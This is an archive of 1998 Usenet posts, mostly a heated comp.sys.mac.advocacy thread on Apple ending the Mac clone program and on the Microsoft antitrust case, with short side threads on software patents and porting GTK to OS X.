References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <365063D1.A36D254E@spamtoNull.com>
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In article <365063D1.A36D254E@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Yes! Apple couldn't compete with the clone companies on the high-end,
> which is where the profit is! You are exactly right. The cloners beat
> them to market with faster, more powerful systems at lower cost and with
> better warranties. Apple couldn't compete so it crushed out the
> competition.
You're absolutely right. But imagine an entirely new regime taking the
reigns at Apple and taking stock of the situation ... here you have cloners
puting out better, faster machines than Apple and it's going to take at
least a year (if not more) to retool in order to compete.
You can't blame Jobs for pre-Jobs problems. In the same respect, you can't
blame Jobs for having to take desperate measures to fix them.
Now, everyone who wants to buy Mac can comfort themselves
> with much longer product cycles, mediocre warranties, and paying more
> for less. Again, it was *never* stipulated in any clone agreement that
> the "cloners take the low-end, low profit" market while Apple keeps "the
> profitable part" to itself. In the pre-agreements signed by Amelio,
> Power Computing and these other companies were also going to be able to
> clone laptops. It's foolish to think that any of these companies would
> ever have signed on as an Apple-cloner to clone for the least profitable
> part of the market. No one but a dunce would have done that. No one ever
> did.
>
Yup, but where *is* Amelio? The guy didn't get it, nor did he have the
charisma to lead that company. When he got the boot, so did his operating
strategy, and everything the clones relied upon. Apple royally ticked off
Moto and UMAX, and paid a cool $100 mil in hush money to Power, but it had
to be done.
> What really puts the lie to all of that malarkey from Apple is the iMac.
> Is the iMac what you call the "high-end, profitable" part of the market?
> Of course not. But the only reason Apple can make *any* money from the
> iMac is that Apple is selling it in a vacuum--there's no iMac
> competition, is there?
Tell that to the 30% of the iMac's buyers who *aren't* replacing an older
Mac. And consider that many Mac users have converted to PC's during the
worst Apple years, and could just as easily opt for a PC today.
To say the iMac has no competition (from clones), while ignoring the
plethora of cheap Win98 machines out there, is to underestimate the huge
obstacles Apple has had to overcome to not only get this machine out, but
to make sure there were enough marketing channels to distribute it to eager
buyers.
I remember the Spindler/Sculley/Amelio regimes and they would have botched
this up royally.
>
> ...'Nuff said....
>
>
> >
> >
> > Your whole argument is that the cloners were tiny little Mom-n-Pop
> > organizations, while it's really obvious that they weren't.
> >
>
> I never said they were "mom & pops"...What I said was that *compared to
> Apple* they were tiny, and they were. The Mac clone companies affiliated
> with Motorola and Umax were *separate companies* which were *small
> change* compared to Apple itself. Last, you always leave out PowerCC,
> seemingly because you know that that company wasn't even loosely
> affiliated any large company. The irony is that PowerCC is the company
> Apple (Jobs) feared the most.
As well he should have. They were the best. They won Apple mindshare as
*well* as marketshare, with their advertising and philosophy. If *anybody*
else other than Jobs killed PowerCC, I'd have been upset, but today's Apple
has captured the imagination of Mac users again. No longer left twisting in
the wind by a vacuum of no promotion, advertising, distinguishing hardware
and software design, Mac users can hold their heads just a little bit
higher now. And the innovation faucet is only trickling from Apple, at this
point.
And so far, there's been no Pippin's, no Newton 1.0's, no flaming
Powerbooks, no embarrassingly out-of-touch product to tarnish Apple's new
turnaround persona.
>
> You know, it never ceases to amaze me how even experienced Mac fans can
> so easily and quickly completely forget the pertinent details of the
> company's history. I guess it's the RDF at work, is all I can figure. Go
> figure...
RDF? I've got one word for you ... "Innovation."
RDF indeed. It's about bloody time Apple sling some decent propaganda,
seeing that that's what sways the masses.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 10:56:34 -0600
Organization: Ericsson Inc.
Message-ID: <3651AAC2.3C1E9CC5@exu.ericsson.se>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com>
<72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se>
<72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se> <72qgco$9ff$1@coward.cc.utah.edu>
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mgiddings@nospam.ypc.net wrote:
> Hmm. We won't go into detailed physical lessons about the reliability of
> any kind of predictions involving mass action of a large ensemble of agents
> (or particles). That would involve a lot of effort that would most likely
> be wasted on those individuals to whom it was targeted anyway . . .
The delicious irony of this brief treatise on complex systems, of
course, is the presupposition that the government does, in fact, possess
the ability to judge the necessity of anti-trust legislation based on
the complex market system. Would you still venture to say that
government has the ability to make such judgement, or will you swallow
your own medicine?
After having committed to the following diatribe, it's doubtful you'll
reconsider...
[cut]
> If I had the time (or more importantly, desire), I am quite sure it would
> be possible to dig up some choice predictions about the breakup of AT&T,
> and how it was going to cause the downfall of society, apple pie, the
> institution of family, and the U.S. flag. As far as I've seen, the breakup
> hasn't done any of those things.
I.e., I didn't have time to write anything useful but I had time to
write drivel. Fair enough; it's good enough just to know where we stand.
> Remember grade school: careful when you point finger. When you do, you get
> stupid retorts like the following:
>
> "Neither I nor anyone else has the nearly infinite amount of time necessary
> to treat the subject in a manner you can actually comprehend. Ventures
> with such limited rewards (e.g. the fact that you won't comprehend it
> anyway) warrant very limited investments. Since your main response to my
> arguments is calling them simplistic and telling me to 'grow the fuck up',
> any further effort on my part is clearly not warranted. The main source of
> simplicity is therefore your inability to realize that I'm not going to sit
> around wasting time writing a whole textbook for your
> (incomprehension|enjoyment|amusement| education|annoyance)."
"Grade school" and "stupid retorts". I couldn't have expressed it
better, Mr. Giddings.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2JDJC.9zt@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtoNull.com> <adtF2E3rz.Jts@netcom.com> <364DB34E.916F13B3@spamtoNull.com>
Date: Mon, 16 Nov 1998 22:37:59 GMT
Sender: adt@netcom4.netcom.com
Jonathan Harker (Limeyville@spamtoNull.com) wrote:
: Let's talk some numbers ...
No, they are not relevant. I think you missed my point. WinNT is portable,
it can go wherever the cusomers go. Whether that is Merced or not does not
matter to Microsoft, it only matters to Intel. Microsoft is no longer
dependent on Intel CPUs.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 23:24:57 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981117232457136737@pm2-1-02.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72srmq$ah4$1@news.asu.edu> <36521AEE.371D8B5C@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
> > Incest?
>
> Law one. Incest is encroachment. There can be no consensual incest,
> because of age of consent laws. Age of consent laws are a specification
> of the first law, in order to determine the definition and application
> of "person or property".
Be care ful when you argue law. Incest does not rest on solely on age,
but on familial closeness. Check the rest of your arguements.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 23:25:06 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981117232506137270@pm2-1-02.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B322A.85F81455@spamtoNull.com> <cirby-1211981628000001@pm61-29.magicnet.net> <364C7C35.2405E875@spamtonull.com> <72k3sa$6dn@newsb.netnews.att.com> <19981114211833178855@pm2-3-11.aug.com> <3650685E.EC7DF91F@spamtoNull.com> <19981116223630225692@pm2-3-21.aug.com> <3651B20C.EFF33ACD@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > Fine. Fine. The coase was still thrown out of court for lack of merit.
> > She appealed. They agreed on 850K.... but the case ws still thrown out.
> >
>
> Bzzzt--irrelevant...:) She was about to reinstitute the case, which is
> why Clinton settled for a huge pile of cash...after the case was thrown
> out the first time. Clinton's perjury made it likely the judge would
> reopen the case.
Bzzt - perjuryhas not been charged or proved. Many legal experts have
publiclly stated perjury could not be proved... and the case would just
as likely NOT have been reopened. Her lawyers were ready to bail. Her
backers were ready to bail.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 23:25:04 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981117232504137144@pm2-1-02.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <365063D1.A36D254E@spamtoNull.com> <ckoller-ya02408000R1611981433240001@netnews.worldnet.att.net> <3651AF3F.2FC36106@spamtoNull.com> <ckoller-ya02408000R1711981331510001@netnews.worldnet.att.net>
Craig Koller <ckoller@worldnet.att.net> wrote:
>
> To me, PowerCC was the biggest victim in this. They were an extremely cool
> company that didn't deserve its demise. But I blame Spindler and Amelio
> more than Jobs. Duking it out over a shrinking piece of pie isn't going to
> cut it. And I'm sure Jobs knew that drastic changes were in order, such
> changes that an "alliance" would surely slow down.
>
You cant blame Spindler and Amelio. Amelies had contracts in principal
that supposedlt greatly rasied the license fees. Jobs just canceled the
contracts.
... snip...
>
> Anything has got to be better than a world consigned solely to Bill's
> wishes. I'd take a Steve Jobs who stomps little kittens and runs naked
> through the streets, if that was the only alternative.
>
Unfortunately, I'd have to agree... but I still dont like Jobs.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 23:25:02 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981117232502137010@pm2-1-02.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <3651B5EA.68BA8B50@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > They made it pretty clear that MS kept them from shipping QT on thier
> > systems.
>
>
> Is "Compaq" a person? I think you are confusing a person with the
> official policy of the company.
Actually, in th elegal sense, a corporation and a person are both legal
entities. Both can be damaged, sue, be sued and share a host of other
legal similarities.
--
Remove nojunk from my email address to reply by email.
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Tue, 17 Nov 1998 16:56:33 +0000
Organization: Cadence Design System, Inc.
Message-ID: <3651AAC1.B9AF1766@cadence.com>
References: <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk>
<KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com>
<oFPnADAoPFT2EA9z@wolff.co.uk> <36598246.6204950@news.demon.co.uk>
<m2yapc5118.fsf@barnowl.demon.co.uk> <bh$rJLA2+BU2EAgc@wolff.co.uk>
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Paul Wolff wrote:
>
> In article <m2yapc5118.fsf@barnowl.demon.co.uk>, Graham Murray
> <graham@barnowl.demon.co.uk> writes
> >One solution for this would be for the patent offices to have to
> >refund the fees plus pay damages (for their negligence in not properly
> >checking the validity) whenever a patent is ruled invalid. This would
> >provide an incentive for them to check such things as obviousness (to
> >skilled practitioners) and prior art.
>
> Most Patent Offices take care not to guarantee that the patents they
> grant are valid. They tend to the view that validity can't be properly
> tested until all the facts and all the laws and all the arguments have
> been exposed and explored, that the best forum for this is a court of
> law, and the best time is when the patent has become an important issue.
> There is no point in spending these resources on every patent
> application. Meanwhile, they just try to avoid granting clearly invalid
> patents.
So maybe the solution (to the problem of invalid patents that noone can
afford to challenge) is to make access to the law cheaper, easier and less
demanding, so that it becomes possible for groups of private individuals
(like Open Source developers) to challneg patents help by large companies ?
Simon
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 11:48:23 -0500
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Organization: EarthLink Network, Inc.
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Craig Koller wrote:
>
>
> And in the words of Johnny Cochran, "If the case is fuzzy, Bill wasn't an
> illegally predatory monopolist was he?" <G>
Yes, that's precisely the question, isn't it? Is he a very competitive
businessman working as the main OS supplier to the X86 market--a
position nobody else seems to have ever wanted to fill--or is he a
predatory monopolist?
>
> In other words, the government isn't qualified to either pass judgement or
> laws in anything involving computing? Medicine is pretty complicated too,
> perhaps if a company wants to carry out Mengele-esque genetic experiments
> the law should step aside for that too? A'course not. It's the critical
> mass element that's brought things to where they are now, technical details
> be damned.
Is it medicine that's complicated, or is it the insurance regulations,
and liabilities, surrounding it? What seems to be the most troublesome
issue for the government concerning medicine these days is: "Who's going
to pay for it?" Aside from that, medicine regulation often deals with
things like life and death. I can't think of anything of similar gravity
in the personal computer industry.
As for mass-element in this issue, I don't see it. I see a bunch of
pissed off Microsoft competitors who realize they've been sitting on
their butts for too long. I see a bunch of Microsoft competitors driving
this issue because they believe that unless the government steps in and
"levels the playing field" they can't compete. Apparently, they think
the government's job is to represent *their* interests. I think they'll
be disappointed to find that the government will find it just as easy to
regulate them, as well as Microsoft.
>
> Microsoft is reaping what its sown, and *everybody* will get hurt, no
> doubt. But this is about one company trying to control too much, with no
> self restraint, no self regulation, and if it wasn't Netscape it would have
> been another company that ultimately brought Microsoft before the DOJ.
I have no doubt that's true.
>
> As a happy Mac Word and Excel user, I really, really shoulda bought stock
> in Microsoft back then.
Oh, how I wish I had! But I thought their software sucked, so I
didn't...:) Life is so ironic...:)
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 17:15:30 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1711981214510001@pm51-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> (2) The Mac clone companies were still in their infancy when Jobs killed
> them off (infanticide.) Two years in the life of a brand new clone
> company is barely time enough to learn how to walk instead of crawl.
Yeah, those "brand new' companies like Motorola and UMAX don't know
*anything* about production or marketing.
> The simple truth is the Mac market as an open, cloning
> market was destroyed before it ever got off the ground.
> Look at the successful X86 clone companies like Dell,
> Compaq, and Gateway--it took them far longer to get
> anywhere and there were a lot of bumps and struggles
> along the way.
Yup. Lots of struggles. Except that there never *was* a truly open
cloning market in the same sense as the Mac cloning market. Compaq sold
"portable" computers well before they cloned PCs, and their main jump in
sales came when they beat IBM to market with a 386-based machine.
Compaq (like Dell and Gateway) also did something that the Mac cloners
never really tried. Compaq pushed their computers to new markets, like
home users and smaller businesses (something IBM never really did worth a
damn). IBM had the bigger companies in their pocket, and Compaq couldn't
compete with the IBM sales force in any circumstance. So they sold to
folks who were out of IBM's target market. Dell and Gateway opened up the
mail-order market, which was the big group that Compaq missed. The newer
bottom-end PC cloners are going for the "too cheap to buy a Gateway"
market now.
The Mac cloners... sold Macs to existing Mac users, advertising in Mac
magazines (Power Computing had one ad in one PC magazine towards the end),
and selling through Mac mail-order companies.
If Compaq had only sold to preexisting IBM customers, and if Dell and
Gateway had only sold in Compaq dealerships, their stories would have been
much different.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
Sender: pgf@lungold
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net>
From: Phil Fraering <pgf@globalreach.net>
Date: 16 Nov 1998 12:52:36 -0600
Message-ID: <87emr3v5aj.fsf@globalreach.net>
cirby@magicnet.net (Chad Irby) writes:
> No. But can you produce the text of the lawsuits that those companies
> would have filed versus Apple if *your* side was correct?
Actually, just because they're right doesn't necessarily mean they
could win lawsuits.
The law isn't an arbitrer of right and wrong, merely law.
> Let's see... UMAX is a fairly huge industrial conglomerate (making a lot
> more than just computers and scanners), and hardly "tiny" under any
> definition. Motorola is, by any measure, much larger than Apple, and
> holds the keys to Apple's core business due to their production of most of
> the PPC chips.
Uh, IBM is a second-source with licenses to all of the requisite chips.
--
Phil Fraering "Strange, isn't it? Dinosaurs have been dead
pgf@globalreach.net for millions of years, yet they still get parts
/Will work for *tape*/ in movies. It hardly seems fair."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 17:20:12 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1711981219330001@pm51-46.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> There is a great deal of evidentiary difference between an email and a
> paper document with a signature, or even a paper document with
> *handwritten* notations in the margins. The latter can be conclusively
> tied to a specific individual, the former never can be.
Well, you need to get your ass to the courthouse, since the legal geniuses
at Microsoft haven't figured out this wonderful concept.
You're really clutching at straws, here.
The messages are real, they came from the folks they seem to come from,
and Microsoft's own internal email system is the smoking gun that is
putting bullet after bullet into their own feet.
Even if it *was* feasible for some random person to forge thousands of
emails in Microsoft, Microsoft can't admit it. If they do, within the
next week, thousands of businesses across the planet will be dumping
Microsoft email products as fast as they possibly can.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 18 Nov 1998 04:47:25 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1711982346460001@pm61-06.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com> <cirby-1711981214510001@pm51-46.magicnet.net> <72tckj$rcm$3@hecate.umd.edu>
davewang@cslab.kecl.ntt.co.jp.Glue.umd.edu (David T. Wang) wrote:
> Chad Irby (cirby@magicnet.net) wrote:
>
> : Yup. Lots of struggles. Except that there never *was* a truly open
> : cloning market in the same sense as the Mac cloning market. Compaq sold
> : "portable" computers well before they cloned PCs, and their main jump in
> : sales came when they beat IBM to market with a 386-based machine.
>
> Compaq's major claim was "100% IBM compatibility". "All software written
> to run on IBM PC will run on Compaq computers". They wanted to be a
> "better IBM PC maker" than IBM. Get your hands on those ancient 286
> based Deskpros and you'll see what I mean. Full armor plating, specially
> designed case with curved sheetmeal edges, as to not hurt the IT manager's
> hands when he was servicing it.
That's nice. However, Compaq didn't make so much as a *dent* in IBM's
large-site sales until at least the 386 models. You should remember the
old saying "nobody ever got fired for buying IBM."
> Nope, Compaq, in its early days, sold exclusively to the same market as
> IBM. Never tried anything new. It wasn't until the 91-92 time frame,
> when Canion was replaced by Pfifer, that Compaq went to the mass-volume,
> lower cost model.
You're thinking about when Compaq went after the "home" market. Big difference.
> Prior to that, Compaq built sturdier tank-like
> computers than IBM.
Not so. True, they did make solid hardware, but the markets they sold to
were very different until at least the later part of the 1980s. Corporate
MIS departments were even more hide-bound then than they are now.
There's a difference between selling to "business' and selling to the
businesses that IBM sold to. It's called "finding a niche and filling
it." Compaq *did* sell some of their transportables to some IBM
customers, but it was such a small part of the segment that IBM didn't
think it was important.
> : The Mac cloners... sold Macs to existing Mac users, advertising in Mac
> : magazines (Power Computing had one ad in one PC magazine towards the end),
> : and selling through Mac mail-order companies.
>
> UMax was supposedly the exception, especially with its presence in
> Asia (not including Japan) UMax was killed too. Daystar with the MP
> machines was killed too. It didn't matter whether you tried anything new
> or not, SJ didn't want clones, and off came their heads.
And, as you might have noticed in other posts here, it wan't Jobs'
decision to kill the clones. The sentence came down well before he jumped
back in (due to its radical failure), he just agreed with killing the Mac
clone market.
> : If Compaq had only sold to preexisting IBM customers, and if Dell and
> : Gateway had only sold in Compaq dealerships, their stories would have been
> : much different.
>
> Compaq did sell to existing IBM customers until the early '90s.
Not too many of them. IBM was too busy selling to Fortune 500 companies,
Compaq went after the smaller ones.
You're *really* misremembering what the computer market was like in the 1980s.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Tweaking fonts (was Re: I grow old)
Date: 17 Nov 1998 00:28:17 GMT
Organization: AOL http://www.aol.com
References: <F2JAzs.B43@T-FCN.Net>
Message-ID: <19981116192817.06974.00000351@ng-fi1.aol.com>
Uh, sorry to be stepping in late, but what's Opus?
If it's a system like TouchType--I want it!
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: shadowdancing@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 00:21:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72qfhs$f6p$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com>
In article <adtF2CH1x.MEL@netcom.com>,
adt@netcom.com (Anthony D. Tribelli) wrote:
> In reality probably not, and many of the heinous acts committed by
> Microsoft are probably not illegal either. However in the original post
> that I responded to someone was suggesting that it is illegal to kill (or
> threaten) another company by denying it software that it needs to survive.
> I just thought I'd give that poster another angle on that theory.
It is illegal if you're a monopoly and you're denying other companies
enterance into your market. It isn't illegal if you own 3.5% of the market
share.
While Anthony is right that Apple isn't the stellar example of corporate
morals, the double standard is a legitamate reflection of the state of the
law.
-Ben
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 17:34:44 GMT
Organization: University of Washington, Seattle
Message-ID: <72sc3k$1c0m$1@nntp6.u.washington.edu>
References: <364295A3.ABE8C927@earthlink.net> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <cirby-1711981219330001@pm51-46.magicnet.net>
NNTP-Posting-User: gwangung
In article <cirby-1711981219330001@pm51-46.magicnet.net>,
Chad Irby <cirby@magicnet.net> wrote:
>Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
>> There is a great deal of evidentiary difference between an email and a
>> paper document with a signature, or even a paper document with
>> *handwritten* notations in the margins. The latter can be conclusively
>> tied to a specific individual, the former never can be.
>
>Well, you need to get your ass to the courthouse, since the legal geniuses
>at Microsoft haven't figured out this wonderful concept.
>
>You're really clutching at straws, here.
Remember, Chad, this is the bozo who keeps claiming that Steve
Jobs never had endorsements from Ali, various estates, etc. to use them in
the Think Different campaign.
Harker's grasp of law is almost as tenuous as his grasp of
reality.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
MIME-Version: 1.0
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References: <364295A3.ABE8C927@earthlink.net> <364B322A.85F81455@spamtoNull.com>
<cirby-1211981628000001@pm61-29.magicnet.net> <364C7C35.2405E875@spamtonull.com>
<72k3sa$6dn@newsb.netnews.att.com> <19981114211833178855@pm2-3-11.aug.com>
<3650685E.EC7DF91F@spamtoNull.com> <19981116223630225692@pm2-3-21.aug.com>
<3651B20C.EFF33ACD@spamtoNull.com> <19981117232506137270@pm2-1-02.aug.com>
Message-ID: <kus42.500$B54.19255647@news.rdc1.ne.home.com>
Date: Wed, 18 Nov 1998 04:58:56 GMT
NNTP-Posting-Date: Tue, 17 Nov 1998 20:58:56 PDT
Organization: @Home Network
Adolf Hitler already!
(So as not to offend anyone, if you didn't know, there is a law that states
that all usenet threads like this one that border dangerously on needing
their own list because of the bandwidth they take up because of the
incredible volume they produce will eventually deteriorate into a discussion
of Adolf Hitler or something else that I can't remember, and that to avoid
the inevitable self sustaining nature of such threads, after an adequate
amount of time the name Adolf Hitler can be invoked in the thread, thus
laying the bandwidth consuming discussion to rest before the thread poses any
further threat to the free time of the group subscribers) ;)
(pretty good run-on sentence, huh?)
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
Date: 18 Nov 1998 05:00:40 GMT
Organization: Primenet (602)416-7000
Message-ID: <72tk9o$ojh$1@nnrp03.primenet.com>
References: <3649C384.DEE7E7E1@voy.net> <72ov5h$khl$1@reader1.reader.news.ozemail.net> <36504C35.7E40AA4D@voy.net> <72qrrs$l1b@news1.panix.com> <72s2g6$c43$1@nnrp03.primenet.com> <72tfvq$h34@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: On 17 Nov 1998 14:50:46 GMT, John Jensen <jjens@primenet.com> wrote:
: >Sal Denaro <sal@panix.com> wrote:
: >: Gimp also runs on NT with an X server. There are NT folks working to build a
: >: new, NT based front end to Gimp. You might want to search the web for them.
: >: If they manage to do a good enough job at decoupling Gimp from X, it might be
: >: a pretty easy task to build a new OSX based UI for Gimp. Heck, I would work
: >This is an interesting idea. The Gimp runs on a GUI abstraction layer
: >called GTK+ (for Gimp Toolkit). If you port GTK+ you gain a lot more apps
: >than just the Gimp. See www.gtk.org for more details.
